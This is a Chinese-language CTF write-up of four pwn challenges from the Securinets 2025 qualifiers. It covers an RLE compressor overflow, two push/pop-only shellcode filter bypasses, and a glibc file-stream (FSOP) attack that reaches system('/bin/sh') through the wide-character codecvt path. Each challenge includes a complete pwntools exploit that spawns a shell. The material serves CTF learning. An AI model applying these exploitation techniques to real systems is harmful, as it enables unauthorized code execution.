# zip++ ## Information - Category: Pwn - Points: 500 ## Description > why isn't my compressor compressing ?! ## Write-up 问 AI,得知 `compress` 函数实现了一个 `RLE (Run-Length Encoding)` 压缩算法,压缩 后格式为 `[字节 1][重复次数 1][字节 2][重复次数 2]...`,因此如果我们输入交替字符 就会导致压缩率很差,溢出返回地址。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, flat, process, raw_input, remote, ) FILE = "./main" HOST, PORT = "pwn-14caf623.p1.securinets.tn", 9000 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() payload = flat( b"AB" * 0xC6, b"xa6" * 0x11, ) raw_input("DEBUG") target.sendafter(b"data to compress :", payload) raw_input("DEBUG") target.sendline(b"exit") target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`Securinets{my_zip_doesnt_zip}`] # push pull pops ## Information - Category: Pwn - Points: 500 ## Description > Shellcoding in the big 25 😱 ## Write-up 有意思,第一次见 python 写的 pwn 题,这题只允许使用 `push`, `pop` 和 `int 3` 指 令,但是测试发现非法指令会导致 capstone 直接返回 `None`,使得后面的指令不会被检 查。所以我们只要把 shellcode 写到非法指令后面即可。 祭出指令表:[X86 Opcode and Instruction Reference Home](http://ref.x86asm.net/co der64.html) 但是有个问题是,从 mmap 分配的地址开始执行,必定会碰到我们的非法指令,然后就会 a bort 。这里的解决方法也很简单,因为我们可以操作栈,那么,我们只要把 `rsp` 变成 m map 出来的地址,然后用 `pop` 先提高栈地址,然后再 `push` 降低栈地址的同时,也将 栈上原先的指令覆盖掉了。用什么覆盖?当然是 `nop` 啦~ 最后说一下怎么调试,我们只要知道这个 python 脚本的 `pid` 就可以用 `gdb -p <pid>` 挂载,只要知道 mmap 返回的地址就可以调试 shellcode,还有,善用 `int 3` 也很重要 。 ```python ins={14-17} def run(code: bytes): # Allocate executable memory using mmap mem = mmap.mmap( -1, len(code), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC ) mem.write(code) # Create function pointer and execute func = ctypes.CFUNCTYPE(ctypes.c_void_p)( ctypes.addressof(ctypes.c_char.from_buffer(mem)) ) print( f"pid is: {os.getpid()}nmem: {hex(ctypes.addressof(ctypes.c_char.from_bu ffer(mem)))}" ) input("DEBUG") func() exit(1) ``` ## Exploit ```python #!/usr/bin/env python3 import argparse from pwn import ( ELF, asm, b64e, context, flat, process, raw_input, remote, shellcraft, ) parser = argparse.ArgumentParser() parser.add_argument("-L", "--local", action="store_true", help="Run locally") parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB") parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q EMU") parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun t") args = parser.parse_args() FILE = "./main.py" HOST, PORT = "localhost", 1337 context(log_level="debug", terminal="kitty", arch="amd64") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(argv=None, envp=None): global target, thread if argv is None: argv = [FILE] if args.local and args.threads is not None: raise ValueError("Options -L and -T cannot be used together.") if args.local: if args.gdb and "qemu" in argv[0]: if "-g" not in argv: argv.insert(1, str(args.port)) argv.insert(1, "-g") target = process(argv, env=envp) elif args.threads: if args.threads <= 0: raise ValueError("Thread count must be positive.") process(FILE) thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)] else: target = remote(HOST, PORT, ssl=True) def main(): launch() payload = asm( """ push r11 pop rsp pop r15 pop r15 pop r15 pop r15 push r15 push r15 push r15 """ ) payload += b"x06" + asm(shellcraft.nop()) * 0xF payload += asm("add rsp, 0x100") payload += asm(shellcraft.sh()) target.sendline(b64e(payload)) target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`Securinets{push_pop_to_hero}`] # push pull pops REVENGE ## Information - Category: Pwn - Points: 500 ## Description > you aint getting away with it , not on my watch . ## Write-up 这次题目加了输入和解码出来的指令之间的长度检测: ```python if code_len != decoded: print("nice try") return False ``` 那就把非法指令 ban 掉了,测试使用 semantically equivalent encodings 也没啥用,绕 不开这个长度检测。 最后思路是自己构造一个 `syscall`,然后调用 `read`,这样就可以把 shellcode 读进去 ,不被过滤。 官方的 solution 也是构造 `read`,不过官方的 wp 里面,`syscall` 不是自己造的,而 是利用内存中现成的,所以只要操作 `push`,`pop` 到对应内存就能拿到了。而我这里用 的方法就复杂了点,<s>让我们假设内存空间非常贫瘠,寸草不生,根本没有残留的 `sysca ll`</s>,那能不能凭空造一个出来? 由于这题也是 mmap 了一块 `rwx` 的内存,所以只要我们的内存中有 `syscall` 的机器码 ,它就能执行到,我们只要在执行前提前布置好调用 `read` 用到的寄存器即可。 :::caution 由于这道题的特殊性,远程内存环境和本地肯定是大不相同的,因为我们不管是自己造 `sy scall` 还是找现成的,都对内存环境布局有着极其严格的要求,所以这题必须在 docker 里跑,本地远程调试。 ::: 首先解决一下调试的问题,我们将容器启动后自动执行的指令改一下,挂上 `gdbserver`, 开放 `1234` 端口用于调试: ```dockerfile del={1} ins={2} CMD socat TCP-LISTEN:5000,reuseaddr,fork EXEC:/app/run CMD ["gdbserver", ":1234", "socat", "TCP-LISTEN:5000,reuseaddr,fork", "EXEC:/app /run"] ``` 然后 `docker-compose.yml` 也需要改,开放一下调试端口: ```yaml ins={8} version: "3.8" services: vertical_tables: build: . ports: - "1304:5000" - "1234:1234" deploy: resources: limits: cpus: "1" memory: 1000M read_only: true cap_drop: - all privileged: true ``` 现在只要运行 `docker compose up -d` 就把容器跑起来了,然后 exp 直接连接 `1304` 端口与题目交互。 既然要自己造 `syscall`,那肯定得先搞清楚这玩意儿的机器码是多少,可以这样: ```shellsession λ ~/ pwn asm -c amd64 "syscall" 0f05 ``` 那我们只要想办法弄到 `x0f` 和 `x05` 就成功了一半。观察内存,发现有一个现成的 `x0 5`:
虽然也有现成的 `x0f`,但是它行吗?我们可以做一个简单的测试,直接找一片空内存改, 然后看看解析出来是什么指令:
并不是我们期望的 `syscall`,很简单,因为 `amd64` 是小端序的,所以我们不能写 `x0f `,而是应该写 `0x0f00000000000000`。
至于为啥必须这样?因为我的想法是找一个带 `x0f` 的 `push` or `pop` 指令放在最后, 然后用一堆单字节的 `push` or `pop` 将 `x0f` 卡到第八个字节的位置,最后将事先获取 到的 `x05` 通过 `push` 覆盖掉前面被挤出来的字节,就有了一个 `syscall`。
但是我们怎么保证,这样弄到了 `syscall`,它就一定会执行呢?因为我们不可能跳回到前 面 `syscall` 的地方去执行。这就得益于来自上一题的灵感了,因为如果是非法指令的话 ,CPU 会卡在那里不往下走,但是一旦我们将非法指令替换成了合法指令,它就又能继续往 下跑了~ 这里选的指令是 `pop fs`,实测 `push fs` 不行。
所以我的 exp 就不难理解了,一开始的 `0x4d` 个 `pop r15` 是为了弄到 `x05`,保存在 `r15` 里:
然后设置了调用 `read` 用到的几个寄存器,`rax` 不用管,本来就是 `0`,用它设置一下 `rdi`,然后利用内存中的残留值设置 `rdx`,`rsi` 可以最后栈迁移到 shellcode 的时 候设置。 最后就是栈迁移回 shellcode,通过操作 `push`,`pop` 定位到要覆盖的指令处,最后将 `x05` 填上去即可。 ## Exploit ```python #!/usr/bin/env python3 import argparse from pwn import ( ELF, asm, b64e, context, flat, process, raw_input, remote, shellcraft, sleep, ) parser = argparse.ArgumentParser() parser.add_argument("-L", "--local", action="store_true", help="Run locally") parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB") parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q EMU") parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun t") args = parser.parse_args() FILE = "./main.py" HOST, PORT = "localhost", 1304 context(log_level="debug", terminal="kitty", arch="amd64") def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(argv=None, envp=None): global target, thread if argv is None: argv = [FILE] if args.local and args.threads is not None: raise ValueError("Options -L and -T cannot be used together.") if args.local: if args.gdb and "qemu" in argv[0]: if "-g" not in argv: argv.insert(1, str(args.port)) argv.insert(1, "-g") target = process(argv, env=envp) elif args.threads: if args.threads <= 0: raise ValueError("Thread count must be positive.") process(FILE) thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)] else: target = remote(HOST, PORT, ssl=False) def main(): launch() payload = asm("pop r15") * 0x4D payload += asm( """ pop rsp pop r15 push rax pop rdi """ ) payload += asm("pop rbx") * 0x14 payload += asm("pop rdx") payload += asm("push rbx") * 0x1B payload += asm( """ push r11 pop rsi push r11 pop rsp """ ) payload += asm("pop rbx") * 0x20 payload += asm("push r15") payload += b"x0fxa1" target.sendline(b64e(payload)) target.sendline() sc = asm(shellcraft.nop() * 0x150 + shellcraft.sh()) sleep(1) target.sendline(sc) target.interactive() if __name__ == "__main__": main() ``` ## Flag 复现。 # V-tables ## Information - Category: Pwn - Points: 500 ## Description > idk ## Write-up 这题也是复现,当时我还没学 FSOP,所以就直接跳过了…… 看了下[官方 wp](https://buddurid.me/2025/10/04/securinets-quals-2025),发现这种 题其实还是有迹可循的。 先看一下 IDA,逻辑特别简单: ```c void __fastcall setup(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); } __int64 vuln() { printf("stdout : %pn", stdout); read(0, stdout, 0xD8u); return 0; } int __fastcall main(int argc, const char **argv, const char **envp) { setup(argc, argv, envp); vuln(); return 0; } ``` 直接送了 libc 地址,然后可以修改 `stdout` 结构体,但是由于最大只能读 `0xD8` 字节 ,也就是正好覆盖整个 `_IO_FILE` 结构体,除了 `vtable` 字段写不到外。那常规的 Hou se of Apple 就打不了了。 那怎么办?我们没有任何可以利用的地方了吗?未必。 先看一下最终的调用链:
熟悉程序生命周期的话,应该知道 `main` 函数返回其实会自动调用 `exit`,由于我们也 干不了别的事了,那估计多半就是要去分析 `exit` 的流程找利用点了(有种被引导的感觉 )。 [exit](https://sourcegraph.com/github.com/bminor/glibc@release/2.41/master/-/blo b/stdlib/exit.c?L146:1-146:5) 的实现如下: ```c {4} void exit (int status) { __run_exit_handlers (status, &__exit_funcs, true, true); } libc_hidden_def (exit) ``` 直接跟进到 [__run_exit_handlers](https://sourcegraph.com/github.com/bminor/glibc @release/2.41/master/-/blob/stdlib/exit.c?L43:1-43:20): ```c collapse={1-98} {102} /* Call all functions registered with `atexit' and `on_exit', in the reverse of the order in which they were registered perform stdio cleanup, and terminate program execution with STATUS. */ void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors) { /* The exit should never return, so there is no need to unlock it. */ __libc_lock_lock_recursive (__exit_lock); /* First, call the TLS destructors. */ if (run_dtors) call_function_static_weak (__call_tls_dtors); __libc_lock_lock (__exit_funcs_lock); /* We do it this way to handle recursive calls to exit () made by the functions registered with `atexit' and `on_exit'. We call everyone on the list and use the status value in the last exit (). */ while (true) { struct exit_function_list *cur; restart: cur = *listp; if (cur == NULL) { /* Exit processing complete. We will not allow any more atexit/on_exit registrations. */ __exit_funcs_done = true; break; } while (cur->idx > 0) { struct exit_function *const f = &cur->fns[--cur->idx]; const uint64_t new_exitfn_called = __new_exitfn_called; switch (f->flavor) { void (*atfct) (void); void (*onfct) (int status, void *arg); void (*cxafct) (void *arg, int status); void *arg; case ef_free: case ef_us: break; case ef_on: onfct = f->func.on.fn; arg = f->func.on.arg; PTR_DEMANGLE (onfct); /* Unlock the list while we call a foreign function. */ __libc_lock_unlock (__exit_funcs_lock); onfct (status, arg); __libc_lock_lock (__exit_funcs_lock); break; case ef_at: atfct = f->func.at; PTR_DEMANGLE (atfct); /* Unlock the list while we call a foreign function. */ __libc_lock_unlock (__exit_funcs_lock); atfct (); __libc_lock_lock (__exit_funcs_lock); break; case ef_cxa: /* To avoid dlclose/exit race calling cxafct twice (BZ 22180), we must mark this function as ef_free. */ f->flavor = ef_free; cxafct = f->func.cxa.fn; arg = f->func.cxa.arg; PTR_DEMANGLE (cxafct); /* Unlock the list while we call a foreign function. */ __libc_lock_unlock (__exit_funcs_lock); cxafct (arg, status); __libc_lock_lock (__exit_funcs_lock); break; } if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) /* The last exit function, or another thread, has registered more exit functions. Start the loop over. */ goto restart; } *listp = cur->next; if (*listp != NULL) /* Don't free the last element in the chain, this is the statically allocate element. */ free (cur); } __libc_lock_unlock (__exit_funcs_lock); if (run_list_atexit) call_function_static_weak (_IO_cleanup); _exit (status); } ``` 没有注意到什么好玩的东西,除了 [_IO_cleanup](https://sourcegraph.com/github.com/ bminor/glibc@release/2.41/master/-/blob/libio/genops.c?L873:1-873:12) 外,因为它 涉及到 `IO` 操作,可以跟进去看看: ```c {15} ins={"1. Make sure set fp->_flags = 0x8 to bypass _IO_OVERFLOW called in": 4} ins={" this function which modifies _IO_2_1_stdout_ fields": 5-6} int _IO_cleanup (void) { int result = _IO_flush_all (); /* We currently don't have a reliable mechanism for making sure that C++ static destructors are executed in the correct order. So it is possible that other static destructors might want to write to cout - and they're supposed to be able to do so. The following will make the standard streambufs be unbuffered, which forces any output from late destructors to be written out. */ _IO_unbuffer_all (); return result; } ``` 此时,就涉及到了两个大函数需要分析,一个是 [_IO_flush_all](https://sourcegraph.c om/github.com/bminor/glibc@release/2.41/master/-/blob/libio/genops.c?L711:1-711: 14) 一个是 [_IO_unbuffer_all](https://sourcegraph.com/github.com/bminor/glibc@fb 4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/genops.c?L797:1-797:17)。 我在分析 `_IO_flush_all` 的时候没发现什么特别有意思的地方,但是它可以调用 `_IO_O VERFLOW`,然后这个函数里可以调用 `_IO_do_write`,于是想到一种方法:利用 `main` 函数返回自动调用 `_IO_cleanup->_IO_flush_all` flush `_IO_2_1_stdout_` 结构体的时 候,假设我们事先将其 `_IO_write_base` 改成 `_IO_2_1_stdin_` 结构体的地址,由于 s ize 是通过 `f->_IO_write_ptr - f->_IO_write_base` 计算的,我也可以将其改大,这样 让它触发 `_IO_do_write`,向 `_IO_2_1_stdin_` 写任意大小数据,覆盖它的 `vtable`, (由于 `_IO_list_all` 链表的顺序是 `stderr->stdout->stdin`)这样,我 flush 完 `s tdout` 再去 flush `stdin` 的时候是不是会调用我自定义的 `vtable` 去执行任意操作? 虽然想法很美好,但是我发现,`_IO_do_write (f, f->_IO_write_base, f->_IO_write_pt r - f->_IO_write_base)->_IO_SYSWRITE (fp, data, to_do)->__write (f->_fileno, dat a, to_do)`,也就是说,它只能向当前被 flush 的结构体的 `_fileno` 写数据……那这条路 就行不通了。 其实还有一个想法,就是我将 `_chain` 修改为当前结构体 `+0x8` 的地址,这样就伪造了 下一个被刷新的结构体,因为 `+0x8`,所以我们也就控制了 `vtable`,但是我们没有 `_f lags` 的控制权,不知道行不行,只是一个潜在可行的想法,以后可以试试能不能打。 继续看下面的 [_IO_unbuffer_all](https://sourcegraph.com/github.com/bminor/glibc@ fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/genops.c?L797:1-797:17) 了 ,看看能不能有什么发现: ```c {43} ins={"2. We just need bypass fp->_mode != 0 here": 29-32} collapse={1- 25, 36-39, 47-62} static void _IO_unbuffer_all (void) { FILE *fp; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); #endif for (fp = (FILE *) _IO_list_all; fp; fp = fp->_chain) { int legacy = 0; run_fp = fp; _IO_flockfile (fp); #if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) if (__glibc_unlikely (_IO_vtable_offset (fp) != 0)) legacy = 1; #endif /* Free up the backup area if it was ever allocated. */ if (_IO_have_backup (fp)) _IO_free_backup_area (fp); if (!legacy && fp->_mode > 0 && _IO_have_wbackup (fp)) _IO_free_wbackup_area (fp); if (! (fp->_flags & _IO_UNBUFFERED) /* Iff stream is un-orientated, it wasn't used. */ && (legacy || fp->_mode != 0)) { if (! legacy && ! dealloc_buffers && !(fp->_flags & _IO_USER_BUF)) { fp->_flags |= _IO_USER_BUF; fp->_freeres_list = freeres_list; freeres_list = fp; fp->_freeres_buf = fp->_IO_buf_base; } _IO_SETBUF (fp, NULL, 0); if (! legacy && fp->_mode > 0) _IO_wsetb (fp, NULL, NULL, 0); } /* Make sure that never again the wide char functions can be used. */ if (! legacy) fp->_mode = -1; _IO_funlockfile (fp); run_fp = NULL; } #ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0); #endif } ``` 注意到沿着 [_IO_SETBUF](https://sourcegraph.com/github.com/bminor/glibc@fb4db64a 04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/genops.c?L477:1-477:19) 往下走的话 会有一个好玩的东西: ```c {4} FILE * _IO_default_setbuf (FILE *fp, char *p, ssize_t len) { if (_IO_SYNC (fp) == EOF) return NULL; if (p == NULL || len == 0) { fp->_flags |= _IO_UNBUFFERED; _IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0); } else { fp->_flags &= ~_IO_UNBUFFERED; _IO_setb (fp, p, p+len, 0); } fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = NULL; fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end = NULL; return fp; } ``` 藏在 [_IO_SYNC](https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96 cd1fbb7e02eb59323b1f2ac2/-/blob/libio/fileops.c?L793:1-793:18) 里面: ```c {10} ins={"3. Make sure fp->_IO_write_ptr > fp->_IO_write_base": 7-9} int _IO_new_file_sync (FILE *fp) { ssize_t delta; int retval = 0; /* char* ptr = cur_ptr(); */ if (fp->_IO_write_ptr > fp->_IO_write_base) if (_IO_do_flush(fp)) return EOF; delta = fp->_IO_read_ptr - fp->_IO_read_end; if (delta != 0) { off64_t new_pos = _IO_SYSSEEK (fp, delta, 1); if (new_pos != (off64_t) EOF) fp->_IO_read_end = fp->_IO_read_ptr; else if (errno == ESPIPE) ; /* Ignore error from unseekable devices. */ else retval = EOF; } if (retval != EOF) fp->_offset = _IO_pos_BAD; /* FIXME: Cleanup - can this be shared? */ /* setg(base(), ptr, ptr); */ return retval; } libc_hidden_ver (_IO_new_file_sync, _IO_file_sync) ``` 然后走 [_IO_do_flush](https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04 ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/libioP.h?L562:9-562:21),由于之前已 经将 `mode` 改为了 `1`,所以这里会执行 [_IO_wdo_write](https://sourcegraph.com/g ithub.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/wfi leops.c?L38:1-38:14),而这,也是我们所期望的。 ```c {5-7} #define _IO_do_flush(_f) ((_f)->_mode <= 0 ? _IO_do_write(_f, (_f)->_IO_write_base, (_f)->_IO_write_ptr-(_f)->_IO_write_base) : _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, ((_f)->_wide_data->_IO_write_ptr - (_f)->_wide_data->_IO_write_base))) ``` 走到 [_IO_wdo_write](https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04a d6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/wfileops.c?L38:1-38:14) 就差不多快结 束了。 ```c del={42-46} ins={"4. We need enter this conditional statement, which requir es": 8} ins={" ((_f)->_wide_data->_IO_write_ptr - (_f)->_wide_data->_IO_write_ base)) > 0": 9-10} collapse={14-38, 50-76} /* Convert TO_DO wide character from DATA to FP. Then mark FP as having empty buffers. */ int _IO_wdo_write (FILE *fp, const wchar_t *data, size_t to_do) { struct _IO_codecvt *cc = fp->_codecvt; if (to_do > 0) { if (fp->_IO_write_end == fp->_IO_write_ptr && fp->_IO_write_end != fp->_IO_write_base) { if (_IO_new_do_write (fp, fp->_IO_write_base, fp->_IO_write_ptr - fp->_IO_write_base) == EOF) return WEOF; } do { enum __codecvt_result result; const wchar_t *new_data; char mb_buf[MB_LEN_MAX]; char *write_base, *write_ptr, *buf_end; if (fp->_IO_buf_end - fp->_IO_write_ptr < sizeof (mb_buf)) { /* Make sure we have room for at least one multibyte character. */ write_ptr = write_base = mb_buf; buf_end = mb_buf + sizeof (mb_buf); } else { write_ptr = fp->_IO_write_ptr; write_base = fp->_IO_write_base; buf_end = fp->_IO_buf_end; } /* Now convert from the internal format into the external buffer. */ result = __libio_codecvt_out (cc, &fp->_wide_data->_IO_state, data, data + to_do, &new_data, write_ptr, buf_end, &write_ptr); /* Write out what we produced so far. */ if (_IO_new_do_write (fp, write_base, write_ptr - write_base) == EOF) /* Something went wrong. */ return WEOF; to_do -= new_data - data; /* Next see whether we had problems during the conversion. If yes, we cannot go on. */ if (result != __codecvt_ok && (result != __codecvt_partial || new_data - data == 0)) break; data = new_data; } while (to_do > 0); } _IO_wsetg (fp, fp->_wide_data->_IO_buf_base, fp->_wide_data->_IO_buf_base, fp->_wide_data->_IO_buf_base); fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_buf_base; fp->_wide_data->_IO_write_end = ((fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED) ) ? fp->_wide_data->_IO_buf_base : fp->_wide_data->_IO_buf_end); return to_do == 0 ? 0 : WEOF; } libc_hidden_def (_IO_wdo_write) ``` 我们发现下面这个 [DL_CALL_FCT](https://sourcegraph.com/github.com/MisterTea/Hype rNEAT@516fef725621991ee709eb9b4afe40e0ce82640d/-/blob/NE/HyperNEAT/Hypercube_NEA T/include/Experiments/HCUBE_cliche.h?L59:9-59:20) 其实是一个函数调用,而这个函数 指针和参数我们都可以通过 overlapping 结构体来伪造。 虽然理想的情况是,令 `gs` 为 `/bin/sh` 指针,另 `__fct` 为 `system`,但是实际调 试发现,但凡我们控制其中任意一个,另一个就无法控制了(控制 `/bin/sh` 的话就不能 绕过 `PTR_DEMANGLE (fct)`,绕过 `PTR_DEMANGLE (fct)` 的话就不能控制 `/bin/sh`, 而这一切都是因为它汇编层使用的寄存器是 `r15`,这个可以自己去调试,我不想再都截一 遍图了,老实说有点恶心……)。由于任意代码执行的重要性更大,所以我选择控制 `__fct` ,`/bin/sh` 则通过 `add rdi, 0x10; jmp rcx` 这个 gadget 控制。 ```c del={1, 26-29} del={"5. Make sure codecvt->__cd_out.step = b'/bin/shx00'": 11-12} del={"6. Make sure gs->__fct = system": 21-22} collapse={33-52} #define DL_CALL_FCT(fctp, args) (fctp) args enum __codecvt_result __libio_codecvt_out (struct _IO_codecvt *codecvt, __mbstate_t *statep, const wchar_t *from_start, const wchar_t *from_end, const wchar_t **from_stop, char *to_start, char *to_end, char **to_stop) { enum __codecvt_result result; struct __gconv_step *gs = codecvt->__cd_out.step; int status; size_t dummy; const unsigned char *from_start_copy = (unsigned char *) from_start; codecvt->__cd_out.step_data.__outbuf = (unsigned char *) to_start; codecvt->__cd_out.step_data.__outbufend = (unsigned char *) to_end; codecvt->__cd_out.step_data.__statep = statep; __gconv_fct fct = gs->__fct; if (gs->__shlib_handle != NULL) PTR_DEMANGLE (fct); status = DL_CALL_FCT (fct, (gs, &codecvt->__cd_out.step_data, &from_start_copy, (const unsigned char *) from_end, NULL, &dummy, 0, 0)); *from_stop = (wchar_t *) from_start_copy; *to_stop = (char *) codecvt->__cd_out.step_data.__outbuf; switch (status) { case __GCONV_OK: case __GCONV_EMPTY_INPUT: result = __codecvt_ok; break; case __GCONV_FULL_OUTPUT: case __GCONV_INCOMPLETE_INPUT: result = __codecvt_partial; break; default: result = __codecvt_error; break; } return result; } ``` 那现在问题就变成了,如何控制 `rcx` 指向 `system`?调试发现,`rcx` 的计算过程是可 逆的,并且可以控制为任意值。具体流程,需要从 `jmp rcx` 开始反向溯源,看它是怎么 得来的。最终发现,源头来自执行 [_IO_wdo_write](https://sourcegraph.com/github.co m/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/libioP.h?L5 66) 时的 `lea rcx, [r12 + r13*4]`,`rcx` 从这里被设置后直到执行 `__fct` 都没有被 修改过。
观察这条指令,我们不难想到,控制 `rcx` 要么就是令 `r12 = system, r13 = 0`,要么 就是令 `r12 = 0, r13 = system // 4`。继续溯源 `r12` 发现,它是 `rsi`,即 `(_f)-> _wide_data->_IO_write_base`。由于后面 overlapping 结构体的时候我用到了这个字段, 所以我选择了令 `r13 = system // 4`,而 `r13` 也是可控的,为 `rdx`,即 `(_f)->_wi de_data->_IO_write_ptr - (_f)->_wide_data->_IO_write_base`。 但是直接这样设置发现,并没有得到 `system`,于是我们继续往上溯源,看一下 `rsi` 和 `rdx` 到底是怎么传入的,发现,`rdx` 其实是被动过手脚的……
但很显然这是一个可逆计算,YAAAY~ ## Exploit ```python #!/usr/bin/env python3 import argparse from pwn import ( ELF, ROP, FileStructure, context, flat, process, raw_input, remote, ) parser = argparse.ArgumentParser() parser.add_argument("-L", "--local", action="store_true", help="Run locally") parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB") parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q EMU") parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun t") args = parser.parse_args() FILE = "./main_patched" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary libc = elf.libc rop = ROP(libc) def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(argv=None, envp=None): global target, thread if argv is None: argv = [FILE] if args.local and args.threads is not None: raise ValueError("Options -L and -T cannot be used together.") if args.local: if args.gdb and "qemu" in argv[0]: if "-g" not in argv: argv.insert(1, str(args.port)) argv.insert(1, "-g") target = process(argv, env=envp) elif args.threads: if args.threads <= 0: raise ValueError("Thread count must be positive.") process(FILE) thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)] else: target = remote(HOST, PORT, ssl=True) def main(): launch() target.recvuntil(b"stdout : ") stdout = int(target.recvline(), 16) libc.address = stdout - libc.sym["_IO_2_1_stdout_"] add_rdi_0x10_jmp_rcx = libc.address + 0x000000000017D690 system = libc.sym["system"] fp = FileStructure(null=stdout + 0x1260) fp.flags = 0x8 fp.unknown2 = flat( { 0x18: 0x1, # fp->_mode }, filler=b"x00", ) fp._IO_write_ptr = 1 fp._IO_write_base = 0 fp._wide_data = stdout - 0x8 fp._codecvt = stdout + 0x28 # codecvt fp._IO_save_end = stdout + 0x8 fp._IO_read_base = system // 0x4 << 0x2 # rdx fp.markers = stdout + 0x20 # gs->__shlib_handle fp._IO_save_base = add_rdi_0x10_jmp_rcx # gs->__fct fp._IO_write_end = b"/bin/shx00" raw_input("DEBUG") target.send(bytes(fp)) target.interactive() if __name__ == "__main__": main() ``` ## Flag 复现。










